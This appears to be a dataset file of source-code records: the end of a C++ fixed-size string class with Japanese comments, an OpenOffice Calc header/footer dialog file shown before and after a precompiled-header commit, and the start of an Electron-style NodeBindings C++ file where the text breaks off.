swap(fixed_string& src) noexcept {\r\n\t\t\tstd::swap(src.str_, str_);\r\n\t\t\tstd::swap(src.pos_, pos_);\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 代入\r\n\t\t\t@param[in]\tsrc\tソース\r\n\t\t\t@return 自分\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfixed_string& operator = (const char* src) noexcept {\r\n\t\t\tutils::str::strncpy_(str_, src, SIZE);\r\n\t\t\tpos_ = std::strlen(str_);\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 代入\r\n\t\t\t@param[in]\tsrc\tソース\r\n\t\t\t@return 自分\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfixed_string& operator = (const fixed_string& src) noexcept {\r\n\t\t\tutils::str::strncpy_(str_, src.c_str(), SIZE);\r\n\t\t\tpos_ = src.pos_;\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字を追加\r\n\t\t\t@param[in]\tch\t文字\r\n\t\t\t@return 自分\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfixed_string& operator += (char ch) noexcept {\r\n\t\t\tif(pos_ < SIZE) {\r\n\t\t\t\tstr_[pos_] = ch;\r\n\t\t\t\t++pos_;\r\n\t\t\t\tstr_[pos_] = 0;\r\n\t\t\t}\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字列を追加\r\n\t\t\t@param[in]\tstr\t文字列\r\n\t\t\t@return 自分\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfixed_string& operator += (const char* str) noexcept {\r\n\t\t\tif(str == nullptr) {\r\n\t\t\t\treturn *this;\r\n\t\t\t}\r\n\r\n\t\t\tuint32_t l = std::strlen(str);\r\n\t\t\tif((pos_ + l) < SIZE) {\r\n\t\t\t\tstd::strcpy(&str_[pos_], str);\r\n\t\t\t\tpos_ += l;\r\n\t\t\t} else { \/\/ バッファが許す範囲でコピー\r\n\t\t\t\tl = SIZE - pos_;\r\n\t\t\t\tutils::str::strncpy_(&str_[pos_], str, l);\r\n\t\t\t\tpos_ = SIZE;\r\n\t\t\t}\r\n\t\t\tstr_[pos_] = 0; \r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字参照 @n\r\n\t\t\t\t\t※範囲外ではテンポラリを返す(例外を投げない)\r\n\t\t\t@param[in]\tpos\t配列位置\r\n\t\t\t@return 文字\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tchar& operator [] (uint32_t pos) noexcept {\r\n\t\t\tif(pos >= SIZE) {\r\n\t\t\t\tstatic char tmp = 0;\r\n\t\t\t\treturn tmp;\r\n\t\t\t}\r\n\t\t\treturn str_[pos];\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字参照 const @n\r\n\t\t\t\t\t※範囲外ではテンポラリを返す(例外を投げない)\r\n\t\t\t@param[in]\tpos\t配列位置\r\n\t\t\t@return 文字\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tconst char& operator [] (uint32_t pos) const noexcept {\r\n\t\t\tif(pos >= SIZE) {\r\n\t\t\t\tstatic char tmp = 0;\r\n\t\t\t\treturn tmp;\r\n\t\t\t}\r\n\t\t\treturn str_[pos];\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス一致比較\r\n\t\t\t@param[in]\tth\t\t文字列クラス\r\n\t\t\t@return 同じなら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tint cmp(const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str());\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス一致比較(オペレーター)\r\n\t\t\t@param[in]\tth\t文字列クラス\r\n\t\t\t@return 同じなら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator == (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) == 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス、不一致比較(オペレーター)\r\n\t\t\t@param[in]\tth\t文字列クラス\r\n\t\t\t@return 同じなら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator != (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) != 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス大小比較(オペレーター)\r\n\t\t\t@param[in]\tth\t\t文字列クラス\r\n\t\t\t@return 大小なら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator > (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) > 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス小大比較(オペレーター)\r\n\t\t\t@param[in]\tth\t\t文字列クラス\r\n\t\t\t@return 小大なら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator < (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) < 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス大小一致比較(オペレーター)\r\n\t\t\t@param[in]\tth\t\t文字列\r\n\t\t\t@return 大小一致なら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator >= (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) >= 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス小大一致比較(オペレーター)\r\n\t\t\t@param[in]\tth\t\t文字列クラス\r\n\t\t\t@return 小大一致なら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator <= (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) <= 0;\r\n\t\t}\r\n\t};\r\n\r\n\ttypedef fixed_string<16> STR16;\r\n\ttypedef fixed_string<32> STR32;\r\n\ttypedef fixed_string<64> STR64;\r\n\ttypedef fixed_string<128> STR128;\r\n\ttypedef fixed_string<256> STR256;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: tphf.cxx,v $\n *\n * $Revision: 1.8 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 22:22:14 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#undef SC_DLLIMPLEMENTATION\n\n#ifdef PCH\n#include \"ui_pch.hxx\"\n#endif\n\n#pragma hdrstop\n\n\/\/------------------------------------------------------------------\n\n#define _TPHF_CXX\n#include \"scitems.hxx\"\n#include <sfx2\/basedlgs.hxx>\n#include <svtools\/style.hxx>\n#include <vcl\/svapp.hxx>\n#include <vcl\/msgbox.hxx>\n\n#include \"tphf.hxx\"\n#include \"sc.hrc\"\n#include \"globstr.hrc\"\n#include \"tabvwsh.hxx\"\n#include \"viewdata.hxx\"\n#include \"document.hxx\"\n\/\/CHINA001 #include \"tphfedit.hxx\"\n#include \"hfedtdlg.hxx\"\n#include \"styledlg.hxx\"\n#include \"scresid.hxx\"\n#include \"scuitphfedit.hxx\" \/\/CHINA001\n#undef _TPHF_CXX\n\n\n\n\/\/==================================================================\n\/\/ class ScHFPage\n\/\/==================================================================\n\nScHFPage::ScHFPage( Window* pParent, USHORT nResId,\n const SfxItemSet& rSet, USHORT nSetId )\n\n : SvxHFPage ( pParent, nResId, rSet, nSetId ),\n aBtnEdit ( this, ScResId( RID_SCBTN_HFEDIT ) ),\n aDataSet ( *rSet.GetPool(),\n ATTR_PAGE_HEADERLEFT, ATTR_PAGE_FOOTERRIGHT,\n ATTR_PAGE, ATTR_PAGE, 0 ),\n nPageUsage ( (USHORT)SVX_PAGE_ALL ),\n pStyleDlg ( NULL )\n{\n SetExchangeSupport();\n\n SfxViewShell* pSh = SfxViewShell::Current();\n ScTabViewShell* pViewSh = PTR_CAST(ScTabViewShell,pSh);\n Point aPos( aBackgroundBtn.GetPosPixel() );\n\n \/\/ aBackgroundBtn position not changed anymore\n\n aPos.X() += aBackgroundBtn.GetSizePixel().Width();\n aPos.X() += LogicToPixel( Size(3,0), MAP_APPFONT ).Width();\n aBtnEdit.SetPosPixel( aPos );\n aBtnEdit.Show();\n\n aDataSet.Put( rSet );\n\n if ( pViewSh )\n {\n ScViewData* pViewData = pViewSh->GetViewData();\n ScDocument* pDoc = pViewData->GetDocument();\n\n aStrPageStyle = pDoc->GetPageStyle( pViewData->GetTabNo() );\n }\n\n aBtnEdit.SetClickHdl ( LINK( this, ScHFPage, BtnHdl ) );\n aTurnOnBox.SetClickHdl ( LINK( this, ScHFPage, TurnOnHdl ) );\n\n if ( nId == SID_ATTR_PAGE_HEADERSET )\n aBtnEdit.SetHelpId( HID_SC_HEADER_EDIT );\n else\n aBtnEdit.SetHelpId( HID_SC_FOOTER_EDIT );\n}\n\n\/\/------------------------------------------------------------------\n\n__EXPORT ScHFPage::~ScHFPage()\n{\n}\n\n\/\/------------------------------------------------------------------\n\nvoid __EXPORT ScHFPage::Reset( const SfxItemSet& rSet )\n{\n SvxHFPage::Reset( rSet );\n TurnOnHdl( 0 );\n}\n\n\/\/------------------------------------------------------------------\n\nBOOL __EXPORT ScHFPage::FillItemSet( SfxItemSet& rOutSet )\n{\n BOOL bResult = SvxHFPage::FillItemSet( rOutSet );\n\n if ( nId == SID_ATTR_PAGE_HEADERSET )\n {\n rOutSet.Put( aDataSet.Get( ATTR_PAGE_HEADERLEFT ) );\n rOutSet.Put( aDataSet.Get( ATTR_PAGE_HEADERRIGHT ) );\n }\n else\n {\n rOutSet.Put( aDataSet.Get( ATTR_PAGE_FOOTERLEFT ) );\n rOutSet.Put( aDataSet.Get( ATTR_PAGE_FOOTERRIGHT ) );\n }\n\n return bResult;\n}\n\n\/\/------------------------------------------------------------------\n\nvoid __EXPORT ScHFPage::ActivatePage( const SfxItemSet& rSet )\n{\n USHORT nPageWhich = GetWhich( SID_ATTR_PAGE );\n const SvxPageItem& rPageItem = (const SvxPageItem&)\n rSet.Get(nPageWhich);\n\n nPageUsage = rPageItem.GetPageUsage();\n\n if ( pStyleDlg )\n aStrPageStyle = pStyleDlg->GetStyleSheet().GetName();\n\n aDataSet.Put( rSet.Get(ATTR_PAGE) );\n\n SvxHFPage::ActivatePage( rSet );\n}\n\n\/\/------------------------------------------------------------------\n\nint __EXPORT ScHFPage::DeactivatePage( SfxItemSet* pSet )\n{\n if ( LEAVE_PAGE == SvxHFPage::DeactivatePage( pSet ) )\n if ( pSet )\n FillItemSet( *pSet );\n\n return LEAVE_PAGE;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Handler:\n\/\/------------------------------------------------------------------\n\nIMPL_LINK( ScHFPage, TurnOnHdl, CheckBox*, EMPTYARG )\n{\n SvxHFPage::TurnOnHdl( &aTurnOnBox );\n\n if ( aTurnOnBox.IsChecked() )\n aBtnEdit.Enable();\n else\n aBtnEdit.Disable();\n\n return 0;\n}\n\n\n\/\/------------------------------------------------------------------\n\nIMPL_LINK( ScHFPage, BtnHdl, PushButton*, EMPTYARG )\n{\n \/\/ Wenn der Bearbeiten-Dialog direkt aus dem Click-Handler des Buttons\n \/\/ aufgerufen wird, funktioniert im Bearbeiten-Dialog unter OS\/2 das\n \/\/ GrabFocus nicht (Bug #41805#).\n \/\/ Mit dem neuen StarView sollte dieser Workaround wieder raus koennen!\n\n Application::PostUserEvent( LINK( this, ScHFPage, HFEditHdl ) );\n return 0;\n}\n\nIMPL_LINK( ScHFPage, HFEditHdl, void*, EMPTYARG )\n{\n SfxViewShell* pViewSh = SfxViewShell::Current();\n\n if ( !pViewSh )\n {\n DBG_ERROR( \"Current ViewShell not found.\" );\n return 0;\n }\n\n if ( aCntSharedBox.IsEnabled()\n && !aCntSharedBox.IsChecked() )\n {\n USHORT nResId = ( nId == SID_ATTR_PAGE_HEADERSET )\n ? RID_SCDLG_HFED_HEADER\n : RID_SCDLG_HFED_FOOTER;\n\n ScHFEditDlg* pDlg\n = new ScHFEditDlg( pViewSh->GetViewFrame(), this,\n aDataSet, aStrPageStyle, nResId );\n\n if ( pDlg->Execute() == RET_OK )\n {\n aDataSet.Put( *pDlg->GetOutputItemSet() );\n }\n\n delete pDlg;\n }\n else\n {\n String aText;\n SfxSingleTabDialog* pDlg\n = new SfxSingleTabDialog( pViewSh->GetViewFrame(), this,\n aDataSet, 42 );\n BOOL bRightPage = aCntSharedBox.IsChecked()\n || ( SVX_PAGE_LEFT != SvxPageUsage(nPageUsage) );\n\n if ( nId == SID_ATTR_PAGE_HEADERSET )\n {\n aText = ScGlobal::GetRscString( STR_PAGEHEADER );\n if ( bRightPage )\n pDlg->SetTabPage( ScRightHeaderEditPage::Create( pDlg, aDataSet ) );\n else\n pDlg->SetTabPage( ScLeftHeaderEditPage::Create( pDlg, aDataSet ) );\n }\n else\n {\n aText = ScGlobal::GetRscString( STR_PAGEFOOTER );\n if ( bRightPage )\n pDlg->SetTabPage( ScRightFooterEditPage::Create( pDlg, aDataSet ) );\n else\n pDlg->SetTabPage( ScLeftFooterEditPage::Create( pDlg, aDataSet ) );\n }\n\n SvxNumType eNumType = ((const SvxPageItem&)aDataSet.Get(ATTR_PAGE)).GetNumType();\n ((ScHFEditPage*)pDlg->GetTabPage())->SetNumType(eNumType);\n\n aText.AppendAscii(RTL_CONSTASCII_STRINGPARAM( \" (\" ));\n aText += ScGlobal::GetRscString( STR_PAGESTYLE );\n aText.AppendAscii(RTL_CONSTASCII_STRINGPARAM( \": \" ));\n aText += aStrPageStyle;\n aText += ')';\n\n pDlg->SetText( aText );\n\n if ( pDlg->Execute() == RET_OK )\n {\n aDataSet.Put( *pDlg->GetOutputItemSet() );\n }\n\n delete pDlg;\n }\n\n return 0;\n}\n\n\/\/==================================================================\n\/\/ class ScHeaderPage\n\/\/==================================================================\n\nScHeaderPage::ScHeaderPage( Window* pParent, const SfxItemSet& rSet )\n : ScHFPage( pParent, RID_SVXPAGE_HEADER, rSet, SID_ATTR_PAGE_HEADERSET )\n{\n}\n\n\/\/------------------------------------------------------------------\n\nSfxTabPage* __EXPORT ScHeaderPage::Create( Window* pParent, const SfxItemSet& rCoreSet )\n{\n return ( new ScHeaderPage( pParent, rCoreSet ) );\n}\n\n\/\/------------------------------------------------------------------\n\nUSHORT* __EXPORT ScHeaderPage::GetRanges()\n{\n return SvxHeaderPage::GetRanges();\n}\n\n\/\/==================================================================\n\/\/ class ScFooterPage\n\/\/==================================================================\n\nScFooterPage::ScFooterPage( Window* pParent, const SfxItemSet& rSet )\n : ScHFPage( pParent, RID_SVXPAGE_FOOTER, rSet, SID_ATTR_PAGE_FOOTERSET )\n{\n}\n\n\/\/------------------------------------------------------------------\n\nSfxTabPage* __EXPORT ScFooterPage::Create( Window* pParent, const SfxItemSet& rCoreSet )\n{\n return ( new ScFooterPage( pParent, rCoreSet ) );\n}\n\n\/\/------------------------------------------------------------------\n\nUSHORT* __EXPORT ScFooterPage::GetRanges()\n{\n return SvxHeaderPage::GetRanges();\n}\n\n\n\n\n<commit_msg>INTEGRATION: CWS pchfix01 (1.8.214); FILE MERGED 2006\/07\/12 10:02:50 kaib 1.8.214.1: #i67080# Converted cxx files in sc, added initial project level pch and stripped old PCH definitions.<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: tphf.cxx,v $\n *\n * $Revision: 1.9 $\n *\n * last change: $Author: kz $ $Date: 2006-07-21 14:21:08 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sc.hxx\"\n\n#undef SC_DLLIMPLEMENTATION\n\n\n\n\/\/------------------------------------------------------------------\n\n#define _TPHF_CXX\n#include \"scitems.hxx\"\n#include <sfx2\/basedlgs.hxx>\n#include <svtools\/style.hxx>\n#include <vcl\/svapp.hxx>\n#include <vcl\/msgbox.hxx>\n\n#include \"tphf.hxx\"\n#include \"sc.hrc\"\n#include \"globstr.hrc\"\n#include \"tabvwsh.hxx\"\n#include \"viewdata.hxx\"\n#include \"document.hxx\"\n\/\/CHINA001 #include \"tphfedit.hxx\"\n#include \"hfedtdlg.hxx\"\n#include \"styledlg.hxx\"\n#include \"scresid.hxx\"\n#include \"scuitphfedit.hxx\" \/\/CHINA001\n#undef _TPHF_CXX\n\n\n\n\/\/==================================================================\n\/\/ class ScHFPage\n\/\/==================================================================\n\nScHFPage::ScHFPage( Window* pParent, USHORT nResId,\n const SfxItemSet& rSet, USHORT nSetId )\n\n : SvxHFPage ( pParent, nResId, rSet, nSetId ),\n aBtnEdit ( this, ScResId( RID_SCBTN_HFEDIT ) ),\n aDataSet ( *rSet.GetPool(),\n ATTR_PAGE_HEADERLEFT, ATTR_PAGE_FOOTERRIGHT,\n ATTR_PAGE, ATTR_PAGE, 0 ),\n nPageUsage ( (USHORT)SVX_PAGE_ALL ),\n pStyleDlg ( NULL )\n{\n SetExchangeSupport();\n\n SfxViewShell* pSh = SfxViewShell::Current();\n ScTabViewShell* pViewSh = PTR_CAST(ScTabViewShell,pSh);\n Point aPos( aBackgroundBtn.GetPosPixel() );\n\n \/\/ aBackgroundBtn position not changed anymore\n\n aPos.X() += aBackgroundBtn.GetSizePixel().Width();\n aPos.X() += LogicToPixel( Size(3,0), MAP_APPFONT ).Width();\n aBtnEdit.SetPosPixel( aPos );\n aBtnEdit.Show();\n\n aDataSet.Put( rSet );\n\n if ( pViewSh )\n {\n ScViewData* pViewData = pViewSh->GetViewData();\n ScDocument* pDoc = pViewData->GetDocument();\n\n aStrPageStyle = pDoc->GetPageStyle( pViewData->GetTabNo() );\n }\n\n aBtnEdit.SetClickHdl ( LINK( this, ScHFPage, BtnHdl ) );\n aTurnOnBox.SetClickHdl ( LINK( this, ScHFPage, TurnOnHdl ) );\n\n if ( nId == SID_ATTR_PAGE_HEADERSET )\n aBtnEdit.SetHelpId( HID_SC_HEADER_EDIT );\n else\n aBtnEdit.SetHelpId( HID_SC_FOOTER_EDIT );\n}\n\n\/\/------------------------------------------------------------------\n\n__EXPORT ScHFPage::~ScHFPage()\n{\n}\n\n\/\/------------------------------------------------------------------\n\nvoid __EXPORT ScHFPage::Reset( const SfxItemSet& rSet )\n{\n SvxHFPage::Reset( rSet );\n TurnOnHdl( 0 );\n}\n\n\/\/------------------------------------------------------------------\n\nBOOL __EXPORT ScHFPage::FillItemSet( SfxItemSet& rOutSet )\n{\n BOOL bResult = SvxHFPage::FillItemSet( rOutSet );\n\n if ( nId == SID_ATTR_PAGE_HEADERSET )\n {\n rOutSet.Put( aDataSet.Get( ATTR_PAGE_HEADERLEFT ) );\n rOutSet.Put( aDataSet.Get( ATTR_PAGE_HEADERRIGHT ) );\n }\n else\n {\n rOutSet.Put( aDataSet.Get( ATTR_PAGE_FOOTERLEFT ) );\n rOutSet.Put( aDataSet.Get( ATTR_PAGE_FOOTERRIGHT ) );\n }\n\n return bResult;\n}\n\n\/\/------------------------------------------------------------------\n\nvoid __EXPORT ScHFPage::ActivatePage( const SfxItemSet& rSet )\n{\n USHORT nPageWhich = GetWhich( SID_ATTR_PAGE );\n const SvxPageItem& rPageItem = (const SvxPageItem&)\n rSet.Get(nPageWhich);\n\n nPageUsage = rPageItem.GetPageUsage();\n\n if ( pStyleDlg )\n aStrPageStyle = pStyleDlg->GetStyleSheet().GetName();\n\n aDataSet.Put( rSet.Get(ATTR_PAGE) );\n\n SvxHFPage::ActivatePage( rSet );\n}\n\n\/\/------------------------------------------------------------------\n\nint __EXPORT ScHFPage::DeactivatePage( SfxItemSet* pSet )\n{\n if ( LEAVE_PAGE == SvxHFPage::DeactivatePage( pSet ) )\n if ( pSet )\n FillItemSet( *pSet );\n\n return LEAVE_PAGE;\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Handler:\n\/\/------------------------------------------------------------------\n\nIMPL_LINK( ScHFPage, TurnOnHdl, CheckBox*, EMPTYARG )\n{\n SvxHFPage::TurnOnHdl( &aTurnOnBox );\n\n if ( aTurnOnBox.IsChecked() )\n aBtnEdit.Enable();\n else\n aBtnEdit.Disable();\n\n return 0;\n}\n\n\n\/\/------------------------------------------------------------------\n\nIMPL_LINK( ScHFPage, BtnHdl, PushButton*, EMPTYARG )\n{\n \/\/ Wenn der Bearbeiten-Dialog direkt aus dem Click-Handler des Buttons\n \/\/ aufgerufen wird, funktioniert im Bearbeiten-Dialog unter OS\/2 das\n \/\/ GrabFocus nicht (Bug #41805#).\n \/\/ Mit dem neuen StarView sollte dieser Workaround wieder raus koennen!\n\n Application::PostUserEvent( LINK( this, ScHFPage, HFEditHdl ) );\n return 0;\n}\n\nIMPL_LINK( ScHFPage, HFEditHdl, void*, EMPTYARG )\n{\n SfxViewShell* pViewSh = SfxViewShell::Current();\n\n if ( !pViewSh )\n {\n DBG_ERROR( \"Current ViewShell not found.\" );\n return 0;\n }\n\n if ( aCntSharedBox.IsEnabled()\n && !aCntSharedBox.IsChecked() )\n {\n USHORT nResId = ( nId == SID_ATTR_PAGE_HEADERSET )\n ? RID_SCDLG_HFED_HEADER\n : RID_SCDLG_HFED_FOOTER;\n\n ScHFEditDlg* pDlg\n = new ScHFEditDlg( pViewSh->GetViewFrame(), this,\n aDataSet, aStrPageStyle, nResId );\n\n if ( pDlg->Execute() == RET_OK )\n {\n aDataSet.Put( *pDlg->GetOutputItemSet() );\n }\n\n delete pDlg;\n }\n else\n {\n String aText;\n SfxSingleTabDialog* pDlg\n = new SfxSingleTabDialog( pViewSh->GetViewFrame(), this,\n aDataSet, 42 );\n BOOL bRightPage = aCntSharedBox.IsChecked()\n || ( SVX_PAGE_LEFT != SvxPageUsage(nPageUsage) );\n\n if ( nId == SID_ATTR_PAGE_HEADERSET )\n {\n aText = ScGlobal::GetRscString( STR_PAGEHEADER );\n if ( bRightPage )\n pDlg->SetTabPage( ScRightHeaderEditPage::Create( pDlg, aDataSet ) );\n else\n pDlg->SetTabPage( ScLeftHeaderEditPage::Create( pDlg, aDataSet ) );\n }\n else\n {\n aText = ScGlobal::GetRscString( STR_PAGEFOOTER );\n if ( bRightPage )\n pDlg->SetTabPage( ScRightFooterEditPage::Create( pDlg, aDataSet ) );\n else\n pDlg->SetTabPage( ScLeftFooterEditPage::Create( pDlg, aDataSet ) );\n }\n\n SvxNumType eNumType = ((const SvxPageItem&)aDataSet.Get(ATTR_PAGE)).GetNumType();\n ((ScHFEditPage*)pDlg->GetTabPage())->SetNumType(eNumType);\n\n aText.AppendAscii(RTL_CONSTASCII_STRINGPARAM( \" (\" ));\n aText += ScGlobal::GetRscString( STR_PAGESTYLE );\n aText.AppendAscii(RTL_CONSTASCII_STRINGPARAM( \": \" ));\n aText += aStrPageStyle;\n aText += ')';\n\n pDlg->SetText( aText );\n\n if ( pDlg->Execute() == RET_OK )\n {\n aDataSet.Put( *pDlg->GetOutputItemSet() );\n }\n\n delete pDlg;\n }\n\n return 0;\n}\n\n\/\/==================================================================\n\/\/ class ScHeaderPage\n\/\/==================================================================\n\nScHeaderPage::ScHeaderPage( Window* pParent, const SfxItemSet& rSet )\n : ScHFPage( pParent, RID_SVXPAGE_HEADER, rSet, SID_ATTR_PAGE_HEADERSET )\n{\n}\n\n\/\/------------------------------------------------------------------\n\nSfxTabPage* __EXPORT ScHeaderPage::Create( Window* pParent, const SfxItemSet& rCoreSet )\n{\n return ( new ScHeaderPage( pParent, rCoreSet ) );\n}\n\n\/\/------------------------------------------------------------------\n\nUSHORT* __EXPORT ScHeaderPage::GetRanges()\n{\n return SvxHeaderPage::GetRanges();\n}\n\n\/\/==================================================================\n\/\/ class ScFooterPage\n\/\/==================================================================\n\nScFooterPage::ScFooterPage( Window* pParent, const SfxItemSet& rSet )\n : ScHFPage( pParent, RID_SVXPAGE_FOOTER, rSet, SID_ATTR_PAGE_FOOTERSET )\n{\n}\n\n\/\/------------------------------------------------------------------\n\nSfxTabPage* __EXPORT ScFooterPage::Create( Window* pParent, const SfxItemSet& rCoreSet )\n{\n return ( new ScFooterPage( pParent, rCoreSet ) );\n}\n\n\/\/------------------------------------------------------------------\n\nUSHORT* __EXPORT ScFooterPage::GetRanges()\n{\n return SvxHeaderPage::GetRanges();\n}\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"common\/node_bindings.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/logging.h\"\n#include \"base\/message_loop.h\"\n#include \"common\/v8_conversions.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"net\/base\/escape.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebDocument.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebFrame.h\"\n#include \"vendor\/node\/src\/node.h\"\n#include \"vendor\/node\/src\/node_internals.h\"\n#include \"vendor\/node\/src\/node_javascript.h\"\n\n#if defined(OS_WIN)\n#include \"base\/strings\/utf_string_conversions.h\"\n#endif\n\nusing content::BrowserThread;\n\nnamespace atom {\n\nnamespace {\n\nvoid UvNoOp(uv_async_t* handle, int status) {\n}\n\n} \/\/ namespace\n\nNodeBindings::NodeBindings(bool is_browser)\n : is_browser_(is_browser),\n message_loop_(NULL),\n uv_loop_(uv_default_loop()),\n embed_closed_(false) {\n}\n\nNodeBindings::~NodeBindings() {\n \/\/ Clear uv.\n embed_closed_ = true;\n WakeupEmbedThread();\n uv_thread_join(&embed_thread_);\n uv_sem_destroy(&embed_sem_);\n uv_timer_stop(&idle_timer_);\n}\n\nvoid NodeBindings::Initialize() {\n CommandLine::StringVector str_argv = CommandLine::ForCurrentProcess()->argv();\n\n#if defined(OS_WIN)\n std::vector<std::string> utf8_str_argv;\n utf8_str_argv.reserve(str_argv.size());\n#endif\n\n \/\/ Convert string vector to char* array.\n std::vector<char*> argv(str_argv.size(), NULL);\n for (size_t i = 0; i < str_argv.size(); ++i) {\n#if defined(OS_WIN)\n utf8_str_argv.push_back(UTF16ToUTF8(str_argv[i]));\n argv[i] = const_cast<char*>(utf8_str_argv[i].c_str());\n#else\n argv[i] = const_cast<char*>(str_argv[i].c_str());\n#endif\n }\n\n \/\/ Init idle GC.\n uv_timer_init(uv_default_loop(), &idle_timer_);\n uv_timer_start(&idle_timer_, IdleCallback, 5000, 5000);\n\n \/\/ Open node's error reporting system for browser process.\n node::g_standalone_mode = is_browser_;\n node::g_upstream_node_mode = false;\n\n \/\/ Init node.\n node::Init(argv.size(), &argv[0]);\n v8::V8::Initialize();\n\n \/\/ Load node.js.\n v8::HandleScope scope;\n node::g_context = v8::Persistent<v8::Context>::New(\n node::node_isolate, v8::Context::New(node::node_isolate));\n 